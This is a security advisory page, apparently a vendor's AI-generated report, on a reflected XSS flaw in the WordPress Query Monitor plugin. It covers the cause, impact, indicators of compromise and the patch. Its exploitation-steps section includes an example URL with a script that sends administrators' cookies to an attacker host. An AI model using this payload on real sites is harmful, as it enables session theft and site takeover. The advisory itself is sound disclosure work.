Register for the AI for Security Summit: Join Figma, Perplexity & Wiz

CVE-2026-4267
PHP vulnerability analysis and mitigation

Overview

CVE-2026-4267 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Query Monitor plugin for WordPress, affecting all versions up to and including 3.20.3. The flaw exists in the handling of the $_SERVER['REQUEST_URI'] parameter, which is insufficiently sanitized before being rendered in admin pages. It was disclosed on March 19, 2026, via a GitHub Security Advisory, with NVD publication on March 31, 2026. The CVSS v3.1 base score is 6.1 (Moderate) per the GitHub Advisory, though Feedly/Wordfence report a score of 7.2 (GitHub Advisory, EUVD).

Technical details

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically CWE-80 (Improper Neutralization of Script-Related HTML Tags). On admin requests, the plugin reads attacker-controlled data from $_SERVER['REQUEST_URI'] and stores it in the request field; it then renders request, matched_query, and query_string through the format_url() function in output/html/request.php (lines 60 and 70). Critically, if the attacker-supplied string does not contain an ampersand (&), format_url() returns the value without HTML escaping, allowing injected HTML or JavaScript to be inserted directly into the page inside a <code> element and executed in the victim's browser (GitHub Advisory).

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary JavaScript in the browser of an Administrator-level WordPress user who is tricked into clicking a crafted link. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts or installing malicious plugins), and potential full site compromise. The scope is changed, meaning the impact extends beyond the vulnerable component to the victim's browser session (GitHub Advisory).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.043–0.065%, placing it in a low exploitation probability tier. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires social engineering — specifically, tricking an authenticated Administrator into clicking a malicious link — which raises the practical bar for attackers (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Query Monitor plugin (versions ≤ 3.20.3) using tools like WPScan, Shodan, or by inspecting publicly visible plugin metadata.
  2. Craft malicious URL: Construct a URL targeting the WordPress admin panel that includes a malicious payload in the request URI. The payload must not contain an & character to bypass the format_url() escaping check. Example: https://target.com/wp-admin/index.php/<script>document.location='https://attacker.com/steal?c='+document.cookie</script>
  3. Deliver the link: Send the crafted URL to an Administrator-level user via phishing email, social media message, or embedded in a comment/forum post, enticing them to click it while logged into the WordPress admin panel.
  4. Trigger execution: When the Administrator visits the crafted URL, Query Monitor reads the malicious REQUEST_URI, passes it through format_url() without HTML escaping, and renders the injected script inside a <code> element in the admin page.
  5. Achieve objective: The injected JavaScript executes in the Administrator's browser, enabling session cookie theft, credential capture, creation of backdoor admin accounts, or other unauthorized actions (GitHub Advisory).

Indicators of compromise

  • Network: Outbound HTTP requests from an Administrator's browser to an unexpected external domain shortly after visiting a WordPress admin page; unusual referrer headers in web server logs pointing to crafted admin URLs.
  • Logs: WordPress access logs showing requests to /wp-admin/ paths with URL-encoded script tags or HTML entities (e.g., %3Cscript%3E, <script>) embedded in the request URI.
  • File System: Unexpected new WordPress administrator accounts created without authorization; newly installed or modified plugins not initiated by known administrators.
  • Process/Behavior: Unexpected changes to WordPress site settings, theme files, or plugin files following an administrator session; new scheduled tasks or cron jobs added to WordPress (GitHub Advisory).

Mitigation and workarounds

The vulnerability is patched in Query Monitor version 3.20.4. All users should update the plugin immediately via the WordPress admin dashboard or by downloading the latest version from the WordPress plugin repository. No configuration-based workaround is available; upgrading is the only reliable remediation. As a defense-in-depth measure, administrators should avoid clicking unsolicited links while logged into the WordPress admin panel and consider implementing a Content Security Policy (CSP) header (GitHub Advisory).

Community reactions

The vulnerability was responsibly disclosed by Dmitrii Ignatyev of CleanTalk and credited in the official GitHub Security Advisory. RedPacketSecurity published a CVE alert and shared it on Mastodon, generating minor community awareness. INCIBE (Spain's national cybersecurity agency) also published an early warning. Overall community reaction has been low-key, consistent with the moderate severity and social-engineering requirement for exploitation (GitHub Advisory).

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-56829HIGH8.1
  • PHP logoPHP
  • shopper/framework
NoYesSep 15, 2026
CVE-2026-56827HIGH8.1
  • PHP logoPHP
  • shopper/framework
NoYesSep 15, 2026
CVE-2026-84997HIGH7.5
  • PHP logoPHP
  • composer://react/http
NoYesSep 16, 2026
CVE-2026-56831MEDIUM6.5
  • PHP logoPHP
  • shopper/framework
NoYesSep 15, 2026
CVE-2026-56830MEDIUM6.5
  • PHP logoPHP
  • shopper/framework
NoYesSep 15, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management